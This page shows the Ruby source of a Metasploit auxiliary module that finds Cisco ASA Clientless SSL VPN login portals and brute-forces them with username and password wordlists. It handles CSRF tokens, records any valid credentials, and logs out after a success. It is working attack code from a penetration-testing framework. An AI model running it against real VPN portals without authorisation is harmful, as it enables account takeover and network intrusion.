Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::AuthBrute9include Msf::Auxiliary::Scanner10include Msf::Exploit::Deprecated11moved_from 'auxiliary/scanner/http/cisco_asa_asdm'1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility',18'Description' => %q{19This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and20performs login brute-force to identify valid credentials.21},22'Author' => [23'Jonathan Claudius <jclaudius[at]trustwave.com>', # original Metasploit module24'jbaines-r7' # updated module25],26'References' => [27[ 'URL', 'https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html' ]28],29'License' => MSF_LICENSE,30'DefaultOptions' => {31'RPORT' => 443,32'SSL' => true33},34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => []38}39)40)4142register_options(43[44OptString.new('GROUP', [true, 'The connection profile to log in to (blank by default)', '']),45OptPath.new('USERPASS_FILE', [46false, 'File containing users and passwords separated by space, one pair per line',47File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')48]),49OptPath.new('USER_FILE', [50false, 'File containing users, one per line',51File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')52]),53OptPath.new('PASS_FILE', [54false, 'File containing passwords, one per line',55File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')56])57]58)59end6061def run_host(_ip)62# Establish the remote host is running the clientless vpn63res = send_request_cgi('uri' => normalize_uri('/+CSCOE+/logon.html'))64if res && res.code == 200 && res.get_cookies.include?('webvpn')65print_status('The remote target appears to host Cisco SSL VPN Service. The module will continue.')66print_status('Starting login brute force...')6768each_user_pass do |user, pass|69do_login(user, pass)70end71else72print_status('Cisco SSL VPN Service not detected on the remote target')73end74end7576def report_cred(opts)77service_data = {78address: opts[:ip],79port: opts[:port],80service_name: 'Cisco ASA SSL VPN Service',81protocol: 'tcp',82workspace_id: myworkspace_id83}8485credential_data = {86origin_type: :service,87module_fullname: fullname,88username: opts[:user],89private_data: opts[:password],90private_type: :password91}.merge(service_data)9293login_data = {94last_attempted_at: DateTime.now,95core: create_credential(credential_data),96status: Metasploit::Model::Login::Status::SUCCESSFUL,97proof: opts[:proof]98}.merge(service_data)99100create_credential_login(login_data)101end102103# Brute-force the login page104def do_login(user, pass)105vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")106107# some versions require we snag a CSRF token. So visit the logon portal108res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('/+CSCOE+/logon.html'))109return unless res && res.code == 200110111vars_hash = {112'tgroup' => '',113'next' => '',114'tgcookieset' => '',115'username' => user,116'password' => pass,117'Login' => 'Login'118}119120cookie = 'webvpnlogin=1'121122# the web portal may or may not contain CSRF tokens. So snag the token if it exists.123if res.body.include?('csrf_token')124csrf_token = res.body[/<input name="csrf_token" type=hidden value="(?<token>[0-9a-f]+)">/, :token]125if csrf_token126vars_hash['csrf_token'] = csrf_token127cookie = "#{cookie}; CSRFtoken=#{csrf_token};"128else129print_error('Failed to grab the CSRF token')130return131end132end133134# only add the group if the user specifies a non-empty value135unless datastore['GROUP'].nil? || datastore['GROUP'].empty?136vars_hash['group_list'] = datastore['GROUP']137end138139res = send_request_cgi({140'uri' => normalize_uri('/+webvpn+/index.html'),141'method' => 'POST',142'ctype' => 'application/x-www-form-urlencoded',143'cookie' => cookie,144'vars_post' => vars_hash145})146147# check if the user was likely forwarded to the clientless vpn page148if res && res.code == 200 && res.body.include?('/+webvpn+/webvpn_logout.html') && res.body.include?('/+CSCOE+/session.js')149150print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")151report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)152153# logout - the default vpn connection limit is 2 so it's best to free this one up. Unfortunately,154# we need a CSRF and non-CSRF version for this as well.155if res.body.include?('csrf_token')156csrf_token = res.body[/<input type="hidden" name="csrf_token" value="(?<token>[0-9a-f]+)">/, :token]157158# if we don't pull out the token... just keep going? Failing logout isn't the end of the world.159if csrf_token160send_request_cgi(161'uri' => normalize_uri('/+webvpn+/webvpn_logout.html'),162'method' => 'POST',163'vars_post' => { 'csrf_token' => csrf_token },164'cookie' => res.get_cookies165)166end167else168send_request_cgi('uri' => normalize_uri('/+webvpn+/webvpn_logout.html'), 'cookie' => res.get_cookies)169end170171return :next_user172else173vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")174end175end176end177178179